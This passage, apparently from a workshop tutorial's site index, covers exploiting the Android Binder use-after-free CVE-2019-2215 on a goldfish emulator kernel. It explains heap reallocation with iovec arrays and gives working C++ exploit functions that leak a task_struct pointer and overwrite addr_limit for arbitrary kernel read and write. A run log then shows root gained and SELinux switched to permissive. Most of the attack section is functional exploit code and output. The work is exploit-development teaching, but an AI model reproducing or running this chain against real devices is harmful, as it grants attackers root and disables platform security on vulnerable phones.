__user *vec,\n unsigned long vlen, loff_t *pos, rwf_t flags)\n{\n struct iovec iovstack[UIO_FASTIOV];\n struct iovec *iov = iovstack;\n struct iov_iter iter;\n ssize_t ret;\n\n ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter);\n if (ret >= 0) {\n [...]\n ret = do_iter_write(file, &iter, pos, flags);\n [...]\n }\n return ret;\n}\n\n\nwritev passes the pointer to iovec structure and number of iovec from user space to a function do_writev\ndo_writev passes the same information to another function vfs_writev with some additional parameters\nvfs_writev passes the same information to another function import_iovec with some additional parameters\n\nLet's open workshop/android-4.14-dev/goldfish/lib/iov_iter.c and look at the implementation of import_iovec function.\nint import_iovec(int type, const struct iovec __user * uvector,\n unsigned nr_segs, unsigned fast_segs,\n struct iovec **iov, struct iov_iter *i)\n{\n ssize_t n;\n struct iovec *p;\n n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,\n *iov, &p);\n [...]\n iov_iter_init(i, type, p, nr_segs, n);\n *iov = p == *iov ? NULL : p;\n return 0;\n}\n\n\nimport_iovec passes the same information about iovec to another function rw_copy_check_uvector with some additional parameters\ninitializes the kernel iovec structure stack by calling iov_iter_init\n\nLet's open workshop/android-4.14-dev/goldfish/fs/read_write.c and look at the implementation of rw_copy_check_uvector function.\nssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,\n unsigned long nr_segs, unsigned long fast_segs,\n struct iovec *fast_pointer,\n struct iovec **ret_pointer)\n{\n unsigned long seg;\n ssize_t ret;\n struct iovec *iov = fast_pointer;\n [...]\n if (nr_segs > fast_segs) {\n iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);\n [...]\n }\n if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {\n [...]\n }\n [...]\n ret = 0;\n for (seg = 0; seg = 0\n && unlikely(!access_ok(vrfy_dir(type), buf, len))) {\n [...]\n }\n if (len > MAX_RW_COUNT - ret) {\n len = MAX_RW_COUNT - ret;\n iov[seg].iov_len = len;\n }\n ret += len;\n }\n [...]\n return ret;\n}\n\n\nrw_copy_check_uvector allocates kernel space memory and calculates the size of the allocation by doing nr_segs*sizeof(struct iovec)\nhere, nr_segs is equal to the count in iovec structure stack that we passed from user space\n\n\ncopies the iovec structure stack from user space to newly allocated kernel space by calling copy_from_user function.\nvalidates whether iov_base pointer is valid by calling access_ok function.\n\nAs you can see how rw_copy_check_uvector helps us to control desired kmalloc cache\nLeaking task_struct* \nLet's see the strategy to leak task_struct pointer which is stored in binder_thread. We will use writev system call this time as we want to achieve scoped read from kernel space to user space.\nSize of binder_thread structure is equal to 408 bytes. If you know about SLUB allocator, you will know that kmalloc-512 contains all the object whose size is greater than 256 but less than equal to 512 bytes. As the size of the binder_thread structure is 408 bytes, it will end up in kmalloc-512 cache. \nFirst we need to figure out how many iovec structure we need to stack up to reallocate binder_thread freed chunk.\ngef> p /d sizeof(struct binder_thread)\n$4 = 408\ngef> p /d sizeof(struct iovec) \n$5 = 16\ngef> p /d sizeof(struct binder_thread) / sizeof(struct iovec)\n$9 = 25\ngef> p /d 25*16\n$16 = 400\nWe see that we will need to stack up 25 iovec structures to reallocate the dangling chunk.\n\nNote: 25 iovec structures are 400 bytes in size. This is a good thing, otherwise task_struct pointer would also get clobbered and we would not be able to leak it.\n\nIf you remember, when the unlink operation happened two quadwords where written to the dangling chunk. Let's figure out which iovec structures will be clobbered.\ngef> p /d offsetof(struct binder_thread, wait) / sizeof(struct iovec)\n$13 = 10\n\n\n\n\noffset\nbinder_thread\niovecStack\n\n\n\n\n0x00\n...\niovecStack[0].iov_base = 0x0000000000000000\n\n\n0x08\n...\niovecStack[0].iov_len = 0x0000000000000000\n\n\n...\n...\n...\n\n\n...\n...\n...\n\n\n0xA0\nwait.lock\niovecStack[10].iov_base = m_4gb_aligned_page\n\n\n0xA8\nwait.head.next\niovecStack[10].iov_len = PAGE_SIZE\n\n\n0xB0\nwait.head.prev\niovecStack[11].iov_base = 0x41414141\n\n\n0xB8\n...\niovecStack[11].iov_len = PAGE_SIZE\n\n\n...\n...\n...\n\n\n\nAs we can see from the above table, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered.\nSo, we would want to process iovecStack[10], block writev system call and then trigger the unlink operation. This will ensure that when iovecStack[11].iov_base is clobbered, we will resume the writev system call. Then finally, leak the content of the binder_thread chunk back to user space and read task_struct pointer from it.\nBut, what's the importance of m_4gb_aligned_page in this case?\nBefore doing the unlink operation, remove_wait_queue tries to acquire spin lock. If the value is not 0, then the thread will keep on spinning and the unlink operation will never occur. As iov_base is a 64 bit value, we want to ensure that lower 32 bits is 0. \n\nNote: To effectively, use the blocking feature of writev system calls we will need at least two light weight processes.\n\nLet's build the attack plan to leak task_struct structure pointer\n\ncreate pipe, get the file descriptors and set the maximum buffer size to PAGE_SIZE\nlink eventpoll wait queue to binder_thread wait queue\nfork the process\nparent process\nfree the binder_thread structure\ntrigger writev system call and keep blocking\nonce writev system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation\nread the pointer to task_struct from the leaked kernel space chunk\n\n\nchild process\nsleep to avoid race conditions\ntrigger the unlink operation\nread dummy data from the pipe which is written by processing iovecStack[10], this will resume writev system call\n\n\n\n\n\nTo better understand the flow of exploitation, let's see a diagram created by Maddie Stone on Project Zero blog post. The diagram is very accurate and I do not want to redraw the same.\n\n \n\n\n\nNow, let's see the how the same could be achieved in the exploit code.\nvoid BinderUaF::leakTaskStruct() {\n int pipe_fd[2] = {0};\n ssize_t nBytesRead = 0;\n static char dataBuffer[PAGE_SIZE] = {0};\n struct iovec iovecStack[IOVEC_COUNT] = {nullptr};\n\n //\n // Get binder fd\n //\n\n setupBinder();\n\n //\n // Create event poll\n //\n\n setupEventPoll();\n\n //\n // We are going to use iovec for scoped read/write,\n // we need to make sure that iovec stays in the kernel\n // before we trigger the unlink after binder_thread has\n // been freed.\n //\n // One way to achieve this is by using the blocking APIs\n // in Linux kernel. Such APIs are read, write, etc on pipe.\n //\n\n //\n // Setup pipe for iovec\n //\n\n INFO(\"[+] Setting up pipe\\n\");\n\n if (pipe(pipe_fd) == -1) {\n ERR(\"\\t[-] Unable to create pipe\\n\");\n exit(EXIT_FAILURE);\n } else {\n INFO(\"\\t[*] Pipe created successfully\\n\");\n }\n\n //\n // pipe_fd[0] = read fd\n // pipe_fd[1] = write fd\n //\n // Default size of pipe is 65536 = 0x10000 = 64KB\n // This is way much of data that we care about\n // Let's reduce the size of pipe to 0x1000\n //\n if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {\n ERR(\"\\t[-] Unable to change the pipe capacity\\n\");\n exit(EXIT_FAILURE);\n } else {\n INFO(\"\\t[*] Changed the pipe capacity to: 0x%x\\n\", PAGE_SIZE);\n }\n\n INFO(\"[+] Setting up iovecs\\n\");\n\n //\n // As we are overlapping binder_thread with iovec,\n // binder_thread->wait.lock will align to iovecStack[10].io_base.\n //\n // If binder_thread->wait.lock is not 0 then the thread will get\n // stuck in trying to acquire the lock and the unlink operation\n // will not happen.\n //\n // To avoid this, we need to make sure that the overlapped data\n // should be set to 0.\n //\n // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if\n // we can pass a valid memory address whose lower 32bit value is 0,\n // then we can avoid spin lock issue.\n //\n\n mmap4gbAlignedPage();\n\n iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;\n iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;\n iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;\n iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;\n\n //\n // Now link the poll wait queue to binder thread wait queue\n //\n\n linkEventPollWaitQueueToBinderThreadWaitQueue();\n\n //\n // We should trigger the unlink operation when we\n // have the binder_thread reallocated as iovec array\n //\n\n //\n // Now fork\n //\n\n pid_t childPid = fork();\n\n if (childPid == 0) {\n //\n // child process\n //\n\n //\n // There is a race window between the unlink and blocking\n // in writev, so sleep for a while to ensure that we are\n // blocking in writev before the unlink happens\n //\n\n sleep(2);\n\n //\n // Trigger the unlink operation on the reallocated chunk\n //\n\n unlinkEventPollWaitQueueFromBinderThreadWaitQueue();\n\n //\n // First interesting iovec will read 0x1000 bytes of data.\n // This is just the junk data that we are not interested in\n //\n\n nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));\n\n if (nBytesRead != PAGE_SIZE) {\n ERR(\"\\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x\", nBytesRead, PAGE_SIZE);\n exit(EXIT_FAILURE);\n }\n\n exit(EXIT_SUCCESS);\n\n }\n\n //\n // parent process\n //\n\n //\n // I have seen some races which hinders the reallocation.\n // So, now freeing the binder_thread after fork.\n //\n\n freeBinderThread();\n\n //\n // Reallocate binder_thread as iovec array\n //\n // We need to make sure this writev call blocks\n // This will only happen when the pipe is already full\n //\n\n //\n // This print statement was ruining the reallocation,\n // spent a night to figure this out. Commenting the\n // below line.\n //\n\n // INFO(\"[+] Reallocating binder_thread\\n\");\n\n\n ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);\n\n //\n // If the corruption was successful, the total bytes written\n // should be equal to 0x2000. This is because there are two\n // valid iovec and the length of each is 0x1000\n //\n\n if (nBytesWritten != PAGE_SIZE * 2) {\n ERR(\"\\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\\n\", nBytesWritten, PAGE_SIZE * 2);\n exit(EXIT_FAILURE);\n } else {\n INFO(\"\\t[*] Wrote 0x%lx bytes\\n\", nBytesWritten);\n }\n\n //\n // Now read the actual data from the corrupted iovec\n // This is the leaked data from kernel address space\n // and will contain the task_struct pointer\n //\n\n nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));\n\n if (nBytesRead != PAGE_SIZE) {\n ERR(\"\\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x\", nBytesRead, PAGE_SIZE);\n exit(EXIT_FAILURE);\n }\n\n //\n // Wait for the child process to exit\n //\n\n wait(nullptr);\n\n m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));\n\n m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));\n m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));\n m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));\n\n INFO(\"[+] Leaked task_struct: %p\\n\", m_task_struct);\n INFO(\"\\t[*] &task_struct->pid: %p\\n\", m_pidAddress);\n INFO(\"\\t[*] &task_struct->cred: %p\\n\", m_credAddress);\n INFO(\"\\t[*] &task_struct->nsproxy: %p\\n\", m_nsproxyAddress);\n}\n\nI hope know you have a better idea what's going on and how in-flight iovec structure was used for leaking task_struct pointer.\nClobber addr_limit \nWe have leaked task_struct pointer, now it's time to clobber mm_segment_t addr_limit.\nWe can't use writev because we do not want to achieve scoped read but instead we want scoped write to kernel space. Initially I tried readv blocking feature to achieve the scoped write but I found few issue because of which we can not use it.\nBelow given are some of the reasons\n\nreadv will not process one iovec and block like writev calls does \nwhen iovecStack[10].iov_len is clobbered with a pointer, the length is now a big number and when copy_page_to_iter_iovec function tries to copy the data by processing the iovec structure stack, it fails.\n\nLet's open workshop/android-4.14-dev/goldfish/lib/iov_iter.c and see the implementation of copy_page_to_iter_iovec function.\nstatic size_t copy_page_to_iter_iovec(struct page *page, size_t offset, size_t bytes,\n struct iov_iter *i)\n{\n size_t skip, copy, left, wanted;\n const struct iovec *iov;\n char __user *buf;\n void *kaddr, *from;\n [...]\n while (unlikely(!left && bytes)) {\n iov++;\n buf = iov->iov_base;\n copy = min(bytes, iov->iov_len);\n left = copyout(buf, from, copy);\n [...]\n }\n [...]\n return wanted - bytes;\n}\n\n\nwhen it tries to process the clobbered iovecStack[10], it tries to compute the length of the copy in this line copy = min(bytes, iov->iov_len)\nbytes is equal to sum of all the iov_len in the iovecStack and iov->iov_len is the iovecStack[10].iov_len which is now clobbered with a pointer\nthis is where things go wrong because, now length becomes copy = bytes and skips the processing of iovecStack[11] which would have given us the scoped write\n\nFor achieving scoped write, we are going to use recvmsg system call to block by passing MSG_WAITALL as the flag parameter. recvmsg system call can block just like writev system call and would would not encounter the issue we discussed with readv system call.\nLet's see what we want to write to addr_limit field.\ngef> p sizeof(mm_segment_t) \n$17 = 0x8\nAs the size of mm_segment_t is 0x8 bytes, we would want to clobber it with 0xFFFFFFFFFFFFFFFE as it's the highest valid kernel space address and will not crash the process if page fault occurs in arm64 system.\nNow, let's see how we will overlap binder_thread structure chunk with iovec structure stack in this case. \n\n\n\noffset\nbinder_thread\niovecStack\n\n\n\n\n0x00\n...\niovecStack[0].iov_base = 0x0000000000000000\n\n\n0x08\n...\niovecStack[0].iov_len = 0x0000000000000000\n\n\n...\n...\n...\n\n\n...\n...\n...\n\n\n0xA0\nwait.lock\niovecStack[10].iov_base = m_4gb_aligned_page\n\n\n0xA8\nwait.head.next\niovecStack[10].iov_len = 1\n\n\n0xB0\nwait.head.prev\niovecStack[11].iov_base = 0x41414141\n\n\n0xB8\n...\niovecStack[11].iov_len = 0x8 + 0x8 + 0x8 + 0x8\n\n\n0xC0\n...\niovecStack[12].iov_base = 0x42424242\n\n\n0xC8\n...\niovecStack[12].iov_len = 0x8\n\n\n...\n...\n...\n\n\n\nAgain, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered with a pointer. However, we will only trigger the unlink operation, when iovecStack[10] is already processed and recvmsg system call is blocking and waiting to receive the rest of the messages.\nWhen the clobber is done, we will write rest of the data (finalSocketData) to the socket file descriptor and then recvmsg system call will resume automatically.\nstatic uint64_t finalSocketData[] = {\n 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len\n 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base\n 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len\n (uint64_t) ((uint8_t *) m_task_struct +\n OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base\n 0xFFFFFFFFFFFFFFFE // addr_limit value\n};\n\nLet's see what will happen after clobber\n\niovecStack[10] is already processed before we trigger the unlink operation\niovecStack[10].iov_len and iovecStack[11].iov_base is clobbered with a pointer\nwhen recvmsg starts processing iovecStack[11]\nit will write 1 to iovecStack[10].iov_len which was earlier clobbered, basically fix it back to it's initial value\nwrite 0x41414141 to iovecStack[11].iov_base\nwrite 0x20 to iovecStack[11].iov_len\nwrite address of addr_limit to iovecStack[12].iov_base\n\n\nnow, when recvmsg starts processing iovecStack[12]\nwrite 0xFFFFFFFFFFFFFFFE to addr_limit\n\n\n\nThis is how we will convert scoped write to controlled arbitrary write.\nLet's build the attack plan to clobber addr_limit\n\ncreate socketpair and get the file descriptors\nwrite 0x1 byte of junk data to socket's write descriptor\nlink eventpoll wait queue to binder_thread wait queue\nfork the process\nparent process\nfree the binder_thread structure\ntrigger recvmsg system call, it will process the 0x1 byte of junk data that we wrote, then blocks and waits to receive rest of the data\nonce recvmsg system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation\nonce recvmsg system call returns it would have clobbered addr_limit\n\n\nchild process\nsleep to avoid race conditions\ntrigger the unlink operation\nwrite rest of the data finalSocketData to the socket's write descriptor\n\n\n\n\n\nNow, let's see the how the same could be achieved in the exploit code.\nvoid BinderUaF::clobberAddrLimit() {\n int sock_fd[2] = {0};\n ssize_t nBytesWritten = 0;\n struct msghdr message = {nullptr};\n struct iovec iovecStack[IOVEC_COUNT] = {nullptr};\n\n //\n // Get binder fd\n //\n\n setupBinder();\n\n //\n // Create event poll\n //\n\n setupEventPoll();\n\n //\n // For clobbering the addr_limit we trigger the unlink\n // operation again after reallocating binder_thread with\n // iovecs\n //\n // If you see how we manage to leak kernel data is by using\n // the blocking feature of writev\n //\n // We could use readv blocking feature to do scoped write\n // However, after trying readv and reading the Linux kernel\n // code, I figured out an issue which makes readv useless for\n // current bug.\n //\n // The main issue that I found is:\n //\n // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer\n // due to unlink operation\n //\n // So, when copy_page_to_iter_iovec tries to process the iovecs,\n // there is a line of code, copy = min(bytes, iov->iov_len);\n // Here, \"bytes\" is equal to sum of all iovecs length and as\n // \"iov->iov_len\" is corrupted with a pointer which is obviously\n // a very big number, now copy = sum of all iovecs length and skips\n // the processing of the next iovec which is the target iovec which\n // would give was scoped write.\n //\n // I believe P0 also faced the same issue so they switched to recvmsg\n //\n\n //\n // Setup socketpair for iovec\n //\n // AF_UNIX/AF_LOCAL is used because we are interested only in\n // local communication\n //\n // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg\n //\n\n INFO(\"[+] Setting up socket\\n\");\n\n if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {\n ERR(\"\\t[-] Unable to create socketpair\\n\");\n exit(EXIT_FAILURE);\n } else {\n INFO(\"\\t[*] Socketpair created successfully\\n\");\n }\n\n //\n // We will just write junk data to socket so that when recvmsg\n // is called it process the fist valid iovec with this junk data\n // and then blocks and waits for the rest of the data to be received\n //\n\n static char junkSocketData[] = {\n 0x41\n };\n\n INFO(\"[+] Writing junk data to socket\\n\");\n\n nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));\n\n if (nBytesWritten != sizeof(junkSocketData)) {\n ERR(\"\\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\\n\", nBytesWritten, sizeof(junkSocketData));\n exit(EXIT_FAILURE);\n }\n\n //\n // Write junk data to the socket so that when recvmsg is\n // called, it process the first valid iovec with this junk\n // data and then blocks for the rest of the incoming socket data\n //\n\n INFO(\"[+] Setting up iovecs\\n\");\n\n //\n // We want to block after processing the iovec at IOVEC_WQ_INDEX,\n // because then, we can trigger the unlink operation and get the\n // next iovecs corrupted to gain scoped write.\n //\n\n mmap4gbAlignedPage();\n\n iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;\n iovecStack[IOVEC_WQ_INDEX].iov_len = 1;\n iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;\n iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;\n iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;\n iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;\n\n //\n // Prepare the data buffer that will be written to socket\n //\n\n //\n // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64\n // will result in crash because of a check in do_page_fault\n // However, x86_64 does not have this check. But it's better\n // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can\n // be used in arm64 as well.\n //\n\n static uint64_t finalSocketData[] = {\n 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len\n 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base\n 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len\n (uint64_t) ((uint8_t *) m_task_struct +\n OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base\n 0xFFFFFFFFFFFFFFFE // addr_limit value\n };\n\n //\n // Prepare the message\n //\n\n message.msg_iov = iovecStack;\n message.msg_iovlen = IOVEC_COUNT;\n\n //\n // Now link the poll wait queue to binder thread wait queue\n //\n\n linkEventPollWaitQueueToBinderThreadWaitQueue();\n\n //\n // We should trigger the unlink operation when we\n // have the binder_thread reallocated as iovec array\n //\n\n //\n // Now fork\n //\n\n pid_t childPid = fork();\n\n if (childPid == 0) {\n //\n // child process\n //\n\n //\n // There is a race window between the unlink and blocking\n // in writev, so sleep for a while to ensure that we are\n // blocking in writev before the unlink happens\n //\n\n sleep(2);\n\n //\n // Trigger the unlink operation on the reallocated chunk\n //\n\n unlinkEventPollWaitQueueFromBinderThreadWaitQueue();\n\n //\n // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len\n // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered\n //\n // Write rest of the data to the socket so that recvmsg starts\n // processing the corrupted iovecs and we get scoped write and\n // finally arbitrary write\n //\n\n nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));\n\n if (nBytesWritten != sizeof(finalSocketData)) {\n ERR(\"\\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\", nBytesWritten, sizeof(finalSocketData));\n exit(EXIT_FAILURE);\n }\n\n exit(EXIT_SUCCESS);\n\n }\n\n //\n // parent process\n //\n\n //\n // I have seen some races which hinders the reallocation.\n // So, now freeing the binder_thread after fork.\n //\n\n freeBinderThread();\n\n //\n // Reallocate binder_thread as iovec array and\n // we need to make sure this recvmsg call blocks.\n //\n // recvmsg will block after processing a valid iovec at\n // iovecStack[IOVEC_WQ_INDEX]\n //\n\n ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);\n\n //\n // If the corruption was successful, the total bytes received\n // should be equal to length of all iovec. This is because there\n // are three valid iovec\n //\n\n ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +\n iovecStack[IOVEC_WQ_INDEX + 1].iov_len +\n iovecStack[IOVEC_WQ_INDEX + 2].iov_len;\n\n if (nBytesReceived != expectedBytesReceived) {\n ERR(\"\\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\\n\", nBytesReceived, expectedBytesReceived);\n exit(EXIT_FAILURE);\n }\n\n //\n // Wait for the child process to exit\n //\n\n wait(nullptr);\n}\n\nI hope know you have a better idea how we used scoped write to achieve controlled arbitrary write and clobbered addr_limit with 0xFFFFFFFFFFFFFFFE.\nExploit In Action \nLet's see the exploit in action.\nashfaq@hacksys:~/workshop$ adb shell\ngeneric_x86_64:/ $ uname -a \nLinux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Tue Apr x86_64\ngeneric_x86_64:/ $ id\nuid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0\ngeneric_x86_64:/ $ getenforce \nEnforcing\ngeneric_x86_64:/ $ cd /data/local/tmp\ngeneric_x86_64:/data/local/tmp $ ./cve-2019-2215-exploit \n\n ## # # ### ### ### # ### ### ### # ### \n # # # # # # # ## # # # # ## # \n # # # ## ### ### # # # ### ### ### ### # ### \n # # # # # # # # # # # # # \n ## # ### ### ### ### ### ### ### ### ### \n @HackSysTeam \n\n[+] Binding to 0th core\n[+] Opening: /dev/binder\n [*] m_binder_fd: 0x3\n[+] Creating event poll\n [*] m_epoll_fd: 0x4\n[+] Setting up pipe\n [*] Pipe created successfully\n [*] Changed the pipe capacity to: 0x1000\n[+] Setting up iovecs\n[+] Mapping 4GB aligned page\n [*] Mapped page: 0x100000000\n[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n[+] Freeing binder_thread\n[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n [*] Wrote 0x2000 bytes\n[+] Leaked task_struct: 0xffff888063a14b00\n [*] &task_struct->pid: 0xffff888063a14fe8\n [*] &task_struct->cred: 0xffff888063a15188\n [*] &task_struct->nsproxy: 0xffff888063a151c0\n[+] Opening: /dev/binder\n [*] m_binder_fd: 0x7\n[+] Creating event poll\n [*] m_epoll_fd: 0x8\n[+] Setting up socket\n [*] Socketpair created successfully\n[+] Writing junk data to socket\n[+] Setting up iovecs\n[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n[+] Freeing binder_thread\n[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n[+] Setting up pipe for kernel read/write\n [*] Pipe created successfully\n[+] Verifying arbitrary read/write primitive\n [*] currentPid: 7039\n [*] expectedPid: 7039\n [*] Arbitrary read/write successful\n[+] Patching current task cred members\n [*] cred: 0xffff888066e016c0\n[+] Verifying if selinux enforcing is enabled\n [*] nsproxy: 0xffffffff81433ac0\n [*] Kernel base: 0xffffffff80200000\n [*] selinux_enforcing: 0xffffffff816acfe8\n [*] selinux enforcing is enabled\n [*] Disabled selinux enforcing\n[+] Verifying if rooted\n [*] uid: 0x0\n [*] Rooting successful\n[+] Spawning root shell\ngeneric_x86_64:/data/local/tmp # id\nuid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0\ngeneric_x86_64:/data/local/tmp # getenforce \nPermissive\ngeneric_x86_64:/data/local/tmp #\n\nYou can see that we have achieved root and disabled SELinux.\n"},"chapters/gdb-macros.html":{"url":"chapters/gdb-macros.html","title":"GDB Macros","keywords":"","body":"GDB Macros\nThese are useful macros that you can use during debugging.\nmacro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))\nmacro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb)))\n"},"chapters/resources.html":{"url":"chapters/resources.html","title":"Resources","keywords":"","body":"Resources\nLinux Lightweight Process\n\nhttps://en.wikipedia.org/wiki/Light-weight_process\nhttps://medium.com/hungys-blog/linux-kernel-process-99629d91423c\n\nSELinux\n\nhttps://source.android.com/security/selinux\nhttps://www.redhat.com/en/topics/linux/what-is-selinux\n\nseccomp\n\nhttps://lwn.net/Articles/656307/\n\nBuilding Kernels\n\nhttps://source.android.com/setup/build/building-kernels\nhttps://android.googlesource.com/kernel/manifest\n\nLinux Kernel Source Code Cross Referencer\n\nhttps://elixir.bootlin.com/linux/v4.14.171/source\n\nLinux Kernel Source Annotated\n\nhttp://www.bricktou.com/\n\nCVE-2019-2215 - Bug Report\n\nhttps://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=1942\n\nVectored I/O\n\nhttps://en.wikipedia.org/wiki/Vectored_I/O\nhttps://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html\nhttp://man7.org/linux/man-pages/man2/readv.2.html\n\nExploitation\n\nhttps://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf\nhttps://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html\nhttps://www.youtube.com/watch?v=TAwQ4ezgEIo\nhttps://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/\nhttps://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/\n\n"}}} \ No newline at end of file